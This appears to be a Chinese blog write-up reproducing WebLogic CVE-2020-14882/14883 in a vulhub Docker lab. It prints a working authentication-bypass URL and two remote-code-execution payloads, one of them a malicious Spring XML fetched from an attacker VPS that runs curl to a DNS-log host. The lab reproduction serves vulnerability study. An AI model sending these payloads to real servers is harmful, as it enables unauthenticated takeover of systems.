CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现

目录

 

1.Weblogic简介

2.漏洞描述

3.漏洞影响

4.环境搭建

4.1 使用docker搭建靶机

4.2 漏洞复现

5.漏洞分析

5.1 搭建调试环境


1.Weblogic简介

Oracle WebLogic Server是用于构建和部署企业Java EE应用程序的业界最佳应用程序服务器,并支持新功能,这些新功能可降低运营成本,提高性能,增强可伸缩性并支持Oracle Applications产品组合。

这是一个Java的中间件,本人是这么理解的那要想更加详细的理解请查看官方介绍【官方介绍】。

2.漏洞描述

复现漏洞编号CVE-2020-14882,CVE-2020-14883

可以构造特殊的HTTP请求,在未经身份验证的情况下访问Weblogic Server Console,并且还能执行任意代码。

3.漏洞影响

weblogic 10.3.6.0.0

weblogic 12.1.3.0.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

weblogic 14.1.1.0.0

4.环境搭建

搭建WeblogicServer的环境可以尝试下载官方提供的应用,在本地搭建,本地搭建需要JAVA环境。至于教程请自行百度!

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

在本次复现实验里直接采用docker环境,使用vulhub环境,可以直接复现,会省去很多步骤。复现环境使用12.2.1.3-2018 tag镜像。

4.1 使用docker搭建靶机

获取镜像

docker pull vulhub/weblogic:12.2.1.3-2018

创建一个容器,并且将容器的端口映射到宿主机的端口

docker run -di -p 7001:7001 -p 8055:8055 vulhub/weblogic:12.2.1.3-2018

启动成功后使用浏览器访问

4.2 漏洞复现

使用POC进行越权,利用该url可以直接访问到管理后台页面

http://192.168.204.142:7001/console/css/%252e%252e%252fconsole.portal

此时获取的权限是一个低权限用户,到这一步还无法执行命令,此时就要结合CVE-2020-14883,利用该漏洞可以通过http协议使后台任意用户执行任意命令。作为攻击者可以构造特殊的HTTP请求,在未验证身份的情况下执行任意代码。

在此提供两种该漏洞的利用方式

方法一:利用com.tangosol.coherence.mvel2.sh.ShellSession 

执行poc如下:

http://192.168.204.142:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/pocIsok%27);%22);

需要注意的是执行完poc后的页面回显为404,也表示命令执行成功了,我看有大佬的文章抓包获取到的回显结果为302,可能是靶机的环境有细微的区别。 

结果截图 

 方法二:利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

本方法对所有的Weblogic版本均有效,前提是需要有一个公网的vps,搭建临时的http服务,构建恶意的xml,并保证能狗访问。建议使用python临时开启http服务。

构造的恶意xml内容:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl i368cj.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

 通过DNSlog平台查看回显,执行POC加载vps上的xml,执行其中的命令

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://XX.XX.XX.XX:8085/weblogic/evil.xml%22)

 查看回显

5.漏洞分析

5.1 搭建调试环境

首先需要开启远程调试环境,进入docker容器内部修改setDomainEnv.sh,在docker里需要将该文件复制到宿主机内,然后再拷贝进去。

参考链接:https://mp.weixin.qq.com/s/oVL9D69Xrdoez6T-sheJLg

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值